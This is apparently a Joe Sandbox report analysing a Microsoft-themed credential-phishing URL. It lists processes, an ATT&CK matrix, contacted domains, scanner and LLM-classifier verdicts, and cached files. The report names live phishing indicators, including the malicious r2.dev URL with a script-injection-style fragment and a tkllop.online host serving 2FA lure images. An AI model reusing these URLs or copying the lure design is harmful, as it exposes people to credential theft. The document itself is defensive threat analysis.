Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=1924,i,11756480395637204584,18120610751236083768,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para)"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=1924,i,11756480395637204584,18120610751236083768,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Persistence and Installation Behavior

AI detected landing page (webpage, office document or email)

Source: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para)

LLM: Page contains button: 'VERIFY' Source: '1.0.pages.csv'

AI detected suspicious URL

Source: Email

JoeBoxAI: AI detected suspicious URL: URL: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	2 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para)	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label
http://jquery.org/license	0%	URL Reputation	safe
http://sizzlejs.com/	0%	URL Reputation	safe
http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript	0%	URL Reputation	safe
http://schema.org/WebPage	0%	URL Reputation	safe
https://bugs.webkit.org/show_bug.cgi?id=29084	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
https://developers.cloudflare.com/r2/data-access/public-buckets/	0%	URL Reputation	safe
https://ogs.google.com/widget/app/so?eom=1	0%	URL Reputation	safe
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/CSS/display	0%	URL Reputation	safe
http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291	0%	URL Reputation	safe
http://javascript.nwbox.com/IEContentLoaded/	0%	URL Reputation	safe
http://jquery.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	unknown
pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev	172.66.0.235	true	true	unknown
google.com	142.250.181.238	true	false	unknown
code.jquery.com	151.101.2.137	true	false	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	unknown
freeipapi.com	188.114.97.3	true	false	unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
s-part-0017.t-0009.fb-t-msedge.net	13.107.253.45	true	false	unknown
www.google.com	216.58.206.36	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
e3yj1d3rjni.tkllop.online	104.21.57.143	true	false	unknown
aadcdn.msftauth.net	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://e3yj1d3rjni.tkllop.online/static/media/godaddy-left.png	false		unknown
https://e3yj1d3rjni.tkllop.online/static/media/logo-off-1.png	false		unknown
https://e3yj1d3rjni.tkllop.online/static/media/bg_invoice.png	false		unknown
https://e3yj1d3rjni.tkllop.online/static/media/key_workshcool.png	false		unknown
https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para)	true		unknown
https://e3yj1d3rjni.tkllop.online/static/media/microsoft_logo.png/	false		unknown
https://e3yj1d3rjni.tkllop.online/static/media/person_workshcool.png	false		unknown
https://e3yj1d3rjni.tkllop.online/static/media/call_2fa.png	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false	URL Reputation: safe	unknown
https://e3yj1d3rjni.tkllop.online/obufsssssssscaaatoion/	false		unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg	false		unknown
https://e3yj1d3rjni.tkllop.online/static/media/auth_number.png	false		unknown
https://e3yj1d3rjni.tkllop.online/static/media/2fa_authenticator.png	false		unknown
https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/favicon.ico	false		unknown
https://code.jquery.com/jquery-1.9.1.js	false		unknown
https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html	false		unknown
https://e3yj1d3rjni.tkllop.online/static/media/person_office.png	false		unknown
https://e3yj1d3rjni.tkllop.online/static/media/message_think.png	false		unknown
https://www.google.com/	false		unknown
https://freeipapi.com/api/json/	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://jquery.org/license	chromecache_70.2.dr, chromecache_60.2.dr	false	URL Reputation: safe	unknown
http://sizzlejs.com/	chromecache_70.2.dr, chromecache_60.2.dr	false	URL Reputation: safe	unknown
https://www.google.com/intl/en/about/products	chromecache_80.2.dr	false		unknown
https://ogs.google.com/widget/callout?prid=19040336	chromecache_80.2.dr	false		unknown
http://jsperf.com/getall-vs-sizzle/2	chromecache_70.2.dr, chromecache_60.2.dr	false		unknown
http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript	chromecache_70.2.dr, chromecache_60.2.dr	false	URL Reputation: safe	unknown
http://schema.org/WebPage	chromecache_80.2.dr	false	URL Reputation: safe	unknown
https://bugs.webkit.org/show_bug.cgi?id=29084	chromecache_70.2.dr, chromecache_60.2.dr	false	URL Reputation: safe	unknown
http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_70.2.dr, chromecache_60.2.dr	false		unknown
http://bugs.jquery.com/ticket/12282#comment:15	chromecache_70.2.dr, chromecache_60.2.dr	false		unknown
http://dev.w3.org/csswg/cssom/#resolved-values	chromecache_70.2.dr, chromecache_60.2.dr	false		unknown
https://ogs.google.com/widget/callout?eom=1	chromecache_80.2.dr	false	URL Reputation: safe	unknown
https://apis.google.com	chromecache_80.2.dr	false	URL Reputation: safe	unknown
https://developers.cloudflare.com/r2/data-access/public-buckets/	chromecache_71.2.dr	false	URL Reputation: safe	unknown
https://github.com/jquery/jquery/pull/764	chromecache_70.2.dr, chromecache_60.2.dr	false		unknown
https://ogs.google.com/widget/app/so?eom=1	chromecache_80.2.dr	false	URL Reputation: safe	unknown
http://bugs.jquery.com/ticket/12359	chromecache_70.2.dr, chromecache_60.2.dr	false		unknown
http://json.org/json2.js	chromecache_70.2.dr, chromecache_60.2.dr	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=649285	chromecache_70.2.dr, chromecache_60.2.dr	false		unknown
https://www.google.com/_/og/promos/	chromecache_80.2.dr	false		unknown
http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context	chromecache_70.2.dr, chromecache_60.2.dr	false		unknown
https://developer.mozilla.org/en-US/docs/CSS/display	chromecache_70.2.dr, chromecache_60.2.dr	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en/Security/CSP)	chromecache_70.2.dr, chromecache_60.2.dr	false		unknown
https://www.cloudflare.com/favicon.ico	chromecache_71.2.dr	false		unknown
http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291	chromecache_70.2.dr, chromecache_60.2.dr	false	URL Reputation: safe	unknown
http://helpful.knobs-dials.com/index.php/Component_returned_failure_code:_0x80040111_(NS_ERROR_NOT_A	chromecache_70.2.dr, chromecache_60.2.dr	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=491668	chromecache_70.2.dr, chromecache_60.2.dr	false		unknown
http://javascript.nwbox.com/IEContentLoaded/	chromecache_70.2.dr, chromecache_60.2.dr	false	URL Reputation: safe	unknown
http://jquery.com/	chromecache_70.2.dr, chromecache_60.2.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.36	unknown	United States	15169	GOOGLEUS	false
216.58.206.36	www.google.com	United States	15169	GOOGLEUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	freeipapi.com	European Union	13335	CLOUDFLARENETUS	false
188.114.96.3	unknown	European Union	13335	CLOUDFLARENETUS	false
104.21.57.143	e3yj1d3rjni.tkllop.online	United States	13335	CLOUDFLARENETUS	false
151.101.66.137	unknown	United States	54113	FASTLYUS	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
172.66.0.235	pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev	United States	13335	CLOUDFLARENETUS	true
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544375
Start date and time:	2024-10-29 10:45:43 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para)
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.phis.win@16/52@28/12
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.67, 142.250.186.78, 74.125.71.84, 34.104.35.123, 172.202.163.200, 199.232.210.172, 192.229.221.95, 52.165.164.15, 40.69.42.241, 142.250.185.138, 142.250.181.234, 142.250.185.74, 216.58.212.138, 142.250.184.202, 142.250.186.74, 142.250.185.234, 216.58.206.42, 172.217.18.10, 142.250.186.138, 172.217.23.106, 142.250.186.42, 142.250.185.202, 142.250.185.106, 142.250.185.170, 142.250.186.106, 216.58.206.46, 172.217.18.14, 142.250.181.238, 142.250.186.99
Excluded domains from analysis (whitelisted): azurefd-t-fb-prod.trafficmanager.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, clientservices.googleapis.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, ocsp.digicert.com, redirector.gvt1.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, azureedge-t-prod.trafficmanager.net, clients.l.google.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para)

Input	Output
URL: Model: claude-3-5-sonnet-latest	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": true, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: URL: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev
URL: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para) Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Verify you are human", "prominent_button_name": "VERIFY", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para) Model: claude-3-haiku-20240307	```json { "brands": [ "Microsoft Security" ] }
	```json { "brands": [ "Microsoft Security" ] }
URL: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para) Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "For security reasons, your organization is requesting more information to continue.", "prominent_button_name": "Next", "text_input_field_labels": [ "Please include an '@' in the email address.", "'+tFjvBPh.document%5B'body'%5D%5B'appendChild'%5D(para)' is missing an '@'." ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para) Model: gpt-4o	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft Security' is associated with Microsoft, a well-known brand.", "The URL 'pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev' does not match the legitimate domain 'microsoft.com'.", "The domain 'r2.dev' is not associated with Microsoft and appears to be a generic or cloud service domain.", "The use of a subdomain with a long alphanumeric string is suspicious and often used in phishing attempts.", "The input fields labeled as 'u, n, k, n, o, w, n' do not provide clear context and could be a tactic to confuse users." ], "riskscore": 9} Google indexed: False
URL: pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev Brands: Microsoft Security Input Fields: u, n, k, n, o, w, n
URL: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para) Model: claude-3-haiku-20240307	```json { "brands": [ "Microsoft" ] }
	```json { "brands": [ "Microsoft" ] }
URL: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para) Model: gpt-4o	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev' does not match the legitimate domain 'microsoft.com'.", "The domain 'r2.dev' is not associated with Microsoft and appears to be a generic or cloud service domain.", "The presence of a long, random-looking subdomain 'pub-75eadb7757ac4bf2ab3de7c52d2a4895' is suspicious and indicative of phishing.", "The input fields contain unusual and suspicious text, which is not typical for legitimate Microsoft pages." ], "riskscore": 9} Google indexed: False
URL: pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev Brands: Microsoft Input Fields: Please include an '@' in the email address., '+tFjvBPh.document%5B'body'%5D%5B'appendChild'%5D(para)' is missing an '@'.

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 57

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	72
Entropy (8bit):	4.888248960643785
Encrypted:	false
SSDEEP:	3:eSHzm0KthdVEkz1GsmNun1lL:g6k4smNob
MD5:	67A22C7D4BB00BE8C38347A1923711F4
SHA1:	E31A81C9B53CDD49F610A4CF7A4720908A142796
SHA-256:	C8FEAF05FF1EE8EA8A86B79B69716A667A95E4647CC433310DB1637D049616C2
SHA-512:	128C9F6A56D550C416446A913F83B10486781FD1D9CE6948EA7F1075D1762FA6ABFA5E923B2474181425160EB5F82B97268514BDBD2F0A299DC701E93DDFCAA5
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwmPnq2INBdXpBIFDXOGH_YSBQ11AbE9EhAJtIx07re9nZ0SBQ2DqFs9EhAJ4xSEf99zLW8SBQ1Xevf9EhAJrD-2wbUdne4SBQ2Y1xen?alt=proto
Preview:	ChIKBw1zhh/2GgAKBw11AbE9GgAKCQoHDYOoWz0aAAoJCgcNV3r3/RoACgkKBw2Y1xenGgA=

Chrome Cache Entry: 58

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5533
Entropy (8bit):	7.868367222778225
Encrypted:	false
SSDEEP:	96:SBXiPNWG31uPEy9ucfLxH70+O/depOauaLqnIJJGX5drnp26JS9MU0QRK:YiPNhFusMuALRg/UEaHLqaKdLp26JSGj
MD5:	2DC3BE48C823410906BFEE4FDFC9ACF7
SHA1:	53ECEC3CCE21DD1D12EC9DAAD1B720002CE5046B
SHA-256:	F2C40A63580308BF348C5E8EB9A0880238F5F207E228E0C091E83B1EFCBF979F
SHA-512:	C20BF2DA2B1BC67EF9B6D06FF73F01E987B5C0805DB2730DF21F485F17C73342824A64EE739962CD19B21BE511FE4CF060B0D1D67AB9059E765BE0BB2CDCEDD2
Malicious:	false
Reputation:	low
URL:	https://e3yj1d3rjni.tkllop.online/static/media/call_2fa.png
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-.....IDATx..y\|.....,..$H!$....I.d!.%.F..G..0!,.1.... .p...1.XC $...Z.`e.ty...uX........$....t..C.\|.Q.3..3....?....x~....+..F..h4..F..h4..F..h4..F..h4..F..h4..F..h4..F..h4..F..h4..F..h4.....@S>.i....l.]...J.2..t....B.b..}.m[.i.t<.`............cL1...\|..7...Yub..Dt'".....c..t....U ...n.~.......` b..v"z....._.\|...e.!.8..n.!.a.B\..V[[[k.P..1....RJ!...p..r ....0.%..F..0..W..X.i.m{Y.Q..0.."........u\|...\|...!* ....~1.....B...w!b).w!.c.O..Q__..c.fL...n..!"B.-.7..F%..B.4.!..C..~":]JY....E.q1"..e3BT?.+.7b...b....5.....'~..........!.M^6DD.p......$6a..9O)uO.Q.#...0...!`..766.Y.h.`.az"....o........-...\|~....`z.eYa...MM.N..8../bT.a...?....W...IDw#b....._........?.".f....\|>o.@..2....p....] ...Q..*.Bt..=.1W_DD...,.vXT...e-..KDY??.8.0...-..0.K ....R..CHE...Z[[.u..]GF..b...d2.FkO..o.@.m..W..L...p...0~..?.#..I

Chrome Cache Entry: 59

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1080
Entropy (8bit):	4.930009947330339
Encrypted:	false
SSDEEP:	12:YyA5m92esAaN090orpHRzVYDndpKmUvn+L5t5VWJ5c5u5m54sp5op5p5e5yLR5uK:YyOm92lhNkHRuSmSnfC3MLu2Y204/z
MD5:	B0D6F602F273AEF991D0106FC3FBD889
SHA1:	9489C6BD28EB2C0F8068D33A804C4795A9CAA4EA
SHA-256:	C9961A396F3A102C2479BFFD68B3B0835A83EB02105762627BCE3DD658F917CD
SHA-512:	8C57FBC8461AC9799D46633E3A0ABFC80C74DB53C28C5AAABD8EA7129E577EEDB32D3AE78E35CEE3D5B10BBD3210CC61C1A8FC02BF6A976D7A9050AF28D563EA
Malicious:	false
Reputation:	low
URL:	https://freeipapi.com/api/json/
Preview:	{"ipVersion":4,"ipAddress":"173.254.250.72","latitude":32.814899,"longitude":-96.879204,"countryName":"United States of America","countryCode":"US","timeZone":"-05:00","zipCode":"75247","cityName":"Dallas","regionName":"Texas","isProxy":true,"continent":"Americas","continentCode":"AM","currency":{"code":"USD","name":"US Dollar"},"language":"English","timeZones":["America\/Adak","America\/Anchorage","America\/Boise","America\/Chicago","America\/Denver","America\/Detroit","America\/Indiana\/Indianapolis","America\/Indiana\/Knox","America\/Indiana\/Marengo","America\/Indiana\/Petersburg","America\/Indiana\/Tell_City","America\/Indiana\/Vevay","America\/Indiana\/Vincennes","America\/Indiana\/Winamac","America\/Juneau","America\/Kentucky\/Louisville","America\/Kentucky\/Monticello","America\/Los_Angeles","America\/Menominee","America\/Metlakatla","America\/New_York","America\/Nome","America\/North_Dakota\/Beulah","America\/North_Dakota\/Center","America\/North_Dakota\/New_Salem","America\/P

Chrome Cache Entry: 60

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	268381
Entropy (8bit):	5.072141999174343
Encrypted:	false
SSDEEP:	6144:UvD8eq9mPKl4OfKcknEHZciGhjZPdDwjdwTJFPk78vmAnhZSxwI14i:UE4OfcaZhfOeATG14i
MD5:	08C235D357750C657AC1DB7D1CF656A9
SHA1:	9257AFD2D46C3A189EC0D40A45722701D47E9CA5
SHA-256:	7BD80D06C01C0340C1B9159B9B4A197DB882CA18CBAC8E9B9AA025E68F998D40
SHA-512:	D62700E7A1FF41F9D6326CA024BA2BE1D391BC8FBB2AEAE0F427D74837899B230940BF7C2DF3D193F5300A68BB3686706D4C31328234B5CDA026A1BF52EF9E70
Malicious:	false
Reputation:	low
Preview:	/!. jQuery JavaScript Library v1.9.1. * http://jquery.com/. . Includes Sizzle.js. * http://sizzlejs.com/. . Copyright 2005, 2012 jQuery Foundation, Inc. and other contributors. * Released under the MIT license. * http://jquery.org/license. . Date: 2013-2-4. */.(function( window, undefined ) {..// Can't do this because several apps including ASP.NET trace.// the stack via arguments.caller.callee and Firefox dies if.// you try to trace through "use strict" call chains. (#13335).// Support: Firefox 18+.//"use strict";.var..// The deferred used on DOM ready..readyList,...// A central reference to the root jQuery(document)..rootjQuery,...// Support: IE<9..// For `typeof node.method` instead of `node.method !== undefined`..core_strundefined = typeof undefined,...// Use the correct document accordingly with window argument (sandbox)..document = window.document,..location = window.location,...// Map over jQuery in case of overwrite.._jQuery = window.jQuery,...// Map over the $ in c

Chrome Cache Entry: 61

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 506 x 303, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	29796
Entropy (8bit):	7.980058333789969
Encrypted:	false
SSDEEP:	768:uEV6Q9wDBC1MNazNsMYCUPwRGMSU6Ub1W:uKpiOZ7YCpRRXk
MD5:	210433A8774859368F3A7B86D125A2A7
SHA1:	408BACDDC39F12CAD285579C102FE4A629862D88
SHA-256:	9C6ADDFC339CE1C1D262290AB4CC2DE8D38D4B54B11A8E85AFD44FBB0ACC2561
SHA-512:	6CBF6492BBA0734ECE1B595743B7A251D3C98425A36D5BF87EBFAD17BE979A23ADEE556FB074EF6D284052F6412ACEDA4E179FB7DFA0BA1103610CC01113A1A3
Malicious:	false
Reputation:	low
URL:	https://e3yj1d3rjni.tkllop.online/static/media/godaddy-left.png
